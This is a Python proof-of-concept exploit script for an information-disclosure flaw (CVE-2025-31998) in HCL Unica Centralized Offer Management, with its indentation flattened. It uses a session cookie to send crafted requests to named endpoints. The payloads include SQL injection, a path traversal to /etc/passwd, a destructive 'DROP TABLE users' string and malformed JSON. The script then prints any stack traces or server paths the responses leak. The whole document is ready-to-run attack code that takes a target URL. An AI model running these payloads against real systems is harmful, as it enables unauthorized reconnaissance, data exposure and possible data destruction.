# CVE-2025-31998 PoC - HCL Unica Centralized Offer Management Information Disclosure
# This PoC demonstrates how unhandled exceptions can leak sensitive information
import requests
import sys
TARGET_URL = "https://target-hcl-unica.com"
AUTH_COOKIE = "JSESSIONID=YOUR_SESSION_ID" # Requires low-privilege authentication
def trigger_exception(target_url, auth_cookie):
"""
Trigger unhandled exception by sending malformed requests to various endpoints
to elicit verbose error messages containing sensitive information.
"""
headers = {
"Cookie": auth_cookie,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
# Various payloads designed to trigger unhandled exceptions
payloads = [
# Payload 1: Null pointer / invalid parameter injection
f"{target_url}/Campaign/centralizedOfferManagement.do?action=view&id=NULL'%20OR%201=1--",
# Payload 2: Type confusion / invalid input type
f"{target_url}/Campaign/offer/listOffers.do?offerId=../../../../etc/passwd",
# Payload 3: Malformed JSON to API endpoint
f"{target_url}/api/v1/offers",
# Payload 4: Invalid date format triggering parsing exception
f"{target_url}/Campaign/centralizedOfferManagement.do?startDate=INVALID_DATE_FORMAT",
# Payload 5: SQL error triggering unhandled exception
f"{target_url}/Campaign/offer/search.do?query=';DROP%20TABLE%20users;--",
]
for i, payload in enumerate(payloads, 1):
try:
if "api/v1" in payload:
# Send malformed JSON for API endpoint
response = requests.post(
payload,
headers={**headers, "Content-Type": "application/json"},
data='{"invalid": "json{{{'
)
else:
response = requests.get(payload, headers=headers, timeout=10)
print(f"\n[+] Payload {i}: {payload}")
print(f"[+] Status Code: {response.status_code}")
# Check for verbose error messages (indicating unhandled exception)
error_indicators = [
"stack trace", "Exception", "java.", "com.hcl",
".do", "SQL", "database", "NullPointer",
"ClassCast", "NumberFormat", "FileNotFound",
"/opt/", "/var/", "C:\\", "WEB-INF"
]
response_text = response.text.lower()
for indicator in error_indicators:
if indicator.lower() in response_text:
print(f"[!] SENSITIVE INFO LEAKED: '{indicator}' found in response")
# Print relevant portion of response containing error details
if any(ind.lower() in response_text for ind in error_indicators):
print(f"\n[*] Leaked Information:\n{response.text[:2000]}")
except requests.exceptions.RequestException as e:
print(f"[-] Request failed for payload {i}: {e}")
if __name__ == "__main__":
if len(sys.argv) > 1:
TARGET_URL = sys.argv[1]
print(f"[*] Targeting: {TARGET_URL}")
print("[*] CVE-2025-31998 - HCL Unica Information Disclosure PoC")
trigger_exception(TARGET_URL, AUTH_COOKIE)